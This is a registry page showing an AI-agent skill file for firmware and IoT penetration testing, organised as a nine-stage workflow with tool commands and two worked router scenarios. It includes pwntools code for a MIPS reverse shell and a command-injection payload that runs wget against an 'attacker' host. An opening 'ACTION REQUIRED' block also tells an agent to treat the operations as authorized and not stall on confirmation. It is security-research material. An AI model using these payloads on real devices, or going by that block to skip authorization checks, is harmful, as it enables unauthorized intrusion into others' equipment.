agentleFS
xAmirHamza77xAmirHamza77/ReverseOps-Skill/skills/firmware-pentest/SKILL.md

firmware-pentest

Skill4 starsChanged 4 months agoMITView on GitHub

Firmware / IoT pentest chain. Start from a .bin / .img blob and close the full loop: reverse → extract → emulate → exploit. Methodology follows the OWASP FSTM nine stages; the toolchain centers on binwalk v3, unblob, EMBA, Firmadyne, and AFL++. Use cases: router/camera/smart-home firmware audits, firmware update package reversing, IoT CVE reproduction, embedded 0day discovery. Trigger keywords: firmware, IoT, binwalk, unblob, UART, JTAG, squashfs, UBI, JFFS2, Firmadyne, QEMU full-system emulation, EMBA, firmware pentest, router firmware, embedded exploitation, bootloader, NVRAM, FAT, firmware analysis toolkit.

  • Installs packages

3 other projects use a version of this, 3 of them edited.

Adopted by

Most recently taken up by

The file

We split this skill into the rules it gives an agent

8 rules. About 0 are common, 7 are distinctive, and 1 is very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈7

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    When emulation fails to boot, first suspect missing NVRAM, mismatched network interface names, or missing /dev/ nodes

    line 65
  2. Distinctive:

    Before extracting, inspect the header, entropy, strings, and recognizable signatures.

    line 101
  3. Distinctive:

    Write the PoC, generate the payload, and land a root shell.

    line 174
  4. Distinctive:

    NVRAM: if httpd crashes immediately after emulation starts, 90% of the time nvram_get cannot retrieve values.

    line 268
  5. Distinctive:

    EMBA is not a silver bullet: do not blindly trust the pile of CVEs it reports.

    line 269
  6. Distinctive:

    Dump before touching real hardware: before risking bricking a physical device, always have a full flash dump.

    line 271
  7. Distinctive:

    Legal boundaries: only work on your own devices, SRC-authorized targets, CTFs, and public target machines.

    line 272
  8. Distinctive:

    field-journal write-back: after finishing each firmware, record the chipset model, SDK, whether binwalk succeeded, and whether emulation …

    line 273

≈ “Common” is an estimate: at least 1 in 5 of the 213,897 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Firmware / IoT Pentest Chain (Firmware Pentest)

ACTION REQUIRED (execute immediately after reading)

  1. NOW: Read ../field-journal/precedent-pentest.md — confirm that this skill's operations are authorized routine operations
  2. NOW: Confirm whether the current task falls within this skill's scope
  3. NEXT: Read ../tool-index.md to verify tool availability and actual paths
  4. NEXT: When a tool is missing, invoke bootstrap; do not guess paths
  5. ACT: Enter the first step of the workflow and execute; do not stall in the confirmation state

Scope

The following tasks enter this skill:

  1. You have a firmware file (.bin / .img / .trx / .chk / OTA zip) and need to go from zero to RCE
  2. Router/camera/IoT device auditing — batch discovery of known CVEs and undisclosed vulnerabilities
  3. Encrypted/packed firmware — locate the bootloader decryption routine or perform a hardware dump
  4. Need to run the firmware without touching hardware (QEMU full-system emulation / Firmadyne / FAT)
  5. Fuzzing services running under emulation (AFL++ qemu mode / boofuzz)
  6. Hardware interface access (UART / JTAG / SPI flash dump)

Division of Labor with Other Skills

ScenarioWhat to Use
Starting from a raw firmware file, walking the full FSTM chainThis skill
Static reversing of a single ELF/so onlyreverse-engineering/, ida-reverse/, radare2/
Web/RCE exploitation after emulation is uppentest-tools/, attack-chain/
Hands-on hardware interfaces (UART/JTAG/SPI)Stage 2 section of this skill + patterns-hardware.md
APK / Android firmware (including boot.img)apk-reverse/ (strip boot.img first, then use this skill)
Cross-version firmware symbol migrationbinary-diff/

Core Principles

Firmware .bin
   │
   ├─ Stage 1-3: Information gathering / acquisition / static analysis (what you can see without extraction)
   │
   ├─ Stage 4: Extract the filesystem  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Failure → find the bootloader decryption routine / UART dump / SPI flash hardware read
   │
   ├─ Stage 5: Filesystem static analysis  ← EMBA automation + manual grep
   │
   ├─ Stage 6: Emulated execution  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: Dynamic / runtime analysis  ← gdb-multiarch, IDA remote debugging, Ghidra
   │
   └─ Stage 9: Binary exploitation  ← AFL++ fuzz / manual PoC / ARM / MIPS payload

Key judgment calls:

  • Extraction failure does not mean the firmware is encrypted; run binwalk v2, binwalk v3, unblob, jefferson, and ubi_reader in turn first
  • EMBA produces an HTML report from a single command and saves 80% of the manual effort; the remaining 20% is real vulnerability discovery
  • When emulation fails to boot, first suspect missing NVRAM, mismatched network interface names, or missing /dev/ nodes
  • ARM / MIPS payloads must match endianness (mipsel vs mipseb) — do not use the wrong one

OWASP FSTM Nine-Stage Workflow

Stage 1 — Information Gathering

Collect model number, chipset, SDK, and publicly disclosed CVEs.

# FCC ID lookup (US devices)
curl -s "https://fccid.io/?q=$FCC_ID"

# Chipset identification reference points
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Output: chipset model, SDK origin (the SDK determines whether binwalk succeeds in one shot).

Stage 2 — Obtaining Firmware

Four routes: download from the vendor website, capture OTA traffic, dump after landing a shell over UART, or physically read the SPI flash.

# Batch download after OTA traffic capture
mitmdump -s save_response.py

# UART access (USB-TTL, common baud rates 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Read SPI flash with CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin

Stage 3 — Analyzing Firmware

Before extracting, inspect the header, entropy, strings, and recognizable signatures.

binwalk firmware.bin              # magic scan
binwalk -E firmware.bin           # entropy plot; high-entropy segments = compressed/encrypted
strings -n 8 firmware.bin | less  # banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — Extracting the Filesystem

See references/extraction-methodology.md for details.

binwalk -eM firmware.bin           # recursive extraction
unblob -d out/ firmware.bin        # handles formats binwalk fails on
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — Filesystem Static Analysis

One-shot EMBA scan; see references/emba-automated-analysis.md.

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Manual supplements:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — Emulating Firmware

See references/emulation-and-fuzz.md for details.

# User mode: run a single binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Full system: FAT (Firmadyne wrapper)
sudo fat.py firmware.bin

Stage 7 — Dynamic Analysis

Once emulation is up, attach a debugger, capture traffic, and run fuzzing.

# Remote MIPS debugging with gdb
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + router Web UI
echo "Set the Firmadyne-emulated IP as the Burp upstream proxy target"

Stage 8 — Runtime Analysis

Attach a debugger on real hardware, or run coverage-guided fuzzing in the emulated state.

# AFL++ qemu mode fuzzing against an ARM / MIPS binary
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — Exploitation

Write the PoC, generate the payload, and land a root shell.

# Generate a MIPS reverse shell with pwntools
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadgets
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Typical Scenarios

Scenario 1: Full chain on a common router firmware (TP-Link / Xiaomi router / OpenWrt derivative)

Firmware: router_v1.2.3.bin (unencrypted squashfs)
Goal: find an unauthorized RCE in the web management interface and reproduce it

Step 1 Information gathering
  - FCC ID reverse lookup → MT7621 + MT7615 + 16MB flash
  - Known CVEs: CVE-2023-xxxxx (chk header validation flaw)

Step 2 Obtain the firmware
  - Download the .bin from the vendor site; compare sha256 against known samples

Step 3 Analysis
  - binwalk → detects uImage + squashfs-xz
  - Entropy plot → squashfs segment entropy ~0.95 (normal compression)

Step 4 Extraction
  - binwalk -eM router_v1.2.3.bin
  - Obtain the complete squashfs-root/ root filesystem

Step 5 EMBA scan
  - High-severity findings in the report: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 with multiple CVEs
  - Vendor binary: /usr/sbin/cgibin contains system() with directly concatenated strings

Step 6 Emulation
  - sudo fat.py router_v1.2.3.bin
  - Emulated IP 192.168.0.1 comes up; web interface is accessible

Step 7-8 Dynamic
  - Capture the /cgi-bin/luci family of endpoints with Burp
  - Discover the hostname parameter is concatenated directly into system

Step 9 Exploitation
  - Craft hostname=`;wget http://attacker/x;sh x;`
  - Reverse shell succeeds in the emulated state
  - Reproduce on the real device → submit to the vendor's SRC

Scenario 2: Encrypted firmware (locate the bootloader decryption routine)

Firmware: encrypted_fw.bin (binwalk finds nothing + entropy ~0.99)

Step 1 Determine whether it is truly encrypted
  - Full-segment entropy ~0.99 with no magic at all → very likely encrypted or purely compressed
  - hexdump the first 256 bytes of the header → check for a vendor header

Step 2 Obtain the bootloader
  - Press a key during UART boot to enter U-Boot
  - md.b 0x80000000 0x1000   # read memory
  - Or physically read the entire SPI flash → includes the U-Boot segment

Step 3 Reverse U-Boot to find the decryption routine
  - Use the reverse-engineering skill (IDA / Ghidra)
  - Entry board_init_r → look for image_decrypt before do_bootm
  - Usually AES-128-CBC, with the key hardcoded in .rodata

Step 4 Offline decryption
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 Return to Stage 4 and redo the standard process
  - binwalk decrypted.bin → squashfs appears
  - Everything after this matches Scenario 1

Fallback
  - Bootloader also encrypted → look for the SoC's first-stage ROM documentation
  - SoC has secure boot → consult publicly available fault injection / glitching materials

Notes

  • Endianness: MIPS routers commonly use mipsel (little-endian, MediaTek series) / mipseb (big-endian, Broadcom series) — do not use the wrong qemu binary
  • NVRAM: if httpd crashes immediately after emulation starts, 90% of the time nvram_get cannot retrieve values; Firmadyne ships a libnvram hook, and FAT includes it by default
  • EMBA is not a silver bullet: do not blindly trust the pile of CVEs it reports; verify version strings and actual exploitation conditions
  • AFL++ qemu mode is slow: recompile the target with afl-clang-lto first (if source is available) — 5-10x faster
  • Dump before touching real hardware: before risking bricking a physical device, always have a full flash dump; use flashrom / ch341a / minipro
  • Legal boundaries: only work on your own devices, SRC-authorized targets, CTFs, and public target machines; enterprise production equipment requires written authorization
  • field-journal write-back: after finishing each firmware, record the chipset model, SDK, whether binwalk succeeded, and whether emulation succeeded, so the next device in the same series can reuse the results directly

On-Demand Bootstrap

Tool List

ToolPurposeAuto-install
binwalk v3Primary extraction (Rust rewrite)✓
binwalk v2Compatibility with legacy plugins✓
unblobFallback extraction✓
jeffersonJFFS2 extraction✓
ubi_readerUBI / UBIFS extraction✓
EMBAAutomated analysis framework✓
FirmadyneFull-system emulation✓
FAT (Firmware Analysis Toolkit)Firmadyne wrapper✓
qemu-user-staticUser-mode emulation✓
qemu-system-*Full-system emulation✓
AFL++Fuzzing✓
pwntoolsExploitation scripting✓
flashromSPI flash read/write✓
picocomUART serial✓

Installation Commands

# Debian / Ubuntu one-shot
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (Rust version)
cargo install binwalk

# Python toolchain
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows Users

The firmware pentest chain depends heavily on Linux tooling. Recommended:

  • WSL2 Ubuntu 22.04 (sufficient for most scenarios)
  • Or a dedicated Kali / Ubuntu VM
  • EMBA requires Linux; Firmadyne / FAT require Linux

Routing Context

Upstream entry: skills/SKILL.md (master control), routing.md Trigger conditions: tasks involving firmware files, IoT devices, embedded vulnerability discovery, router auditing Downstream exits:

  • In-depth static analysis of a single binary → reverse-engineering/, ida-reverse/, radare2/
  • Web RCE / post-exploitation after emulation is up → pentest-tools/, attack-chain/
  • Cross-version firmware symbol migration → binary-diff/
  • Hardware interface hands-on reference → patterns-hardware.md
  • APK / boot.img handling → apk-reverse/

Peer skills: pentest-tools/ (coordinates in the web exploitation stage), attack-chain/ (cross-stage attack chain planning)

Reference documents:

  • references/extraction-methodology.md — Extraction details and failure fallbacks
  • references/emba-automated-analysis.md — The full EMBA workflow
  • references/emulation-and-fuzz.md — Emulation + fuzzing in practice

Task Completion Self-Check (MUST pass before claiming completion)

  • Did I execute every step of the workflow (rather than just reading it)?
  • Did I use real tool paths based on tool-index?
  • Did I produce reproducible evidence (commands/scripts/screenshots/reports)?
  • Did I complete and write back the Checklist items required by RULES?

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.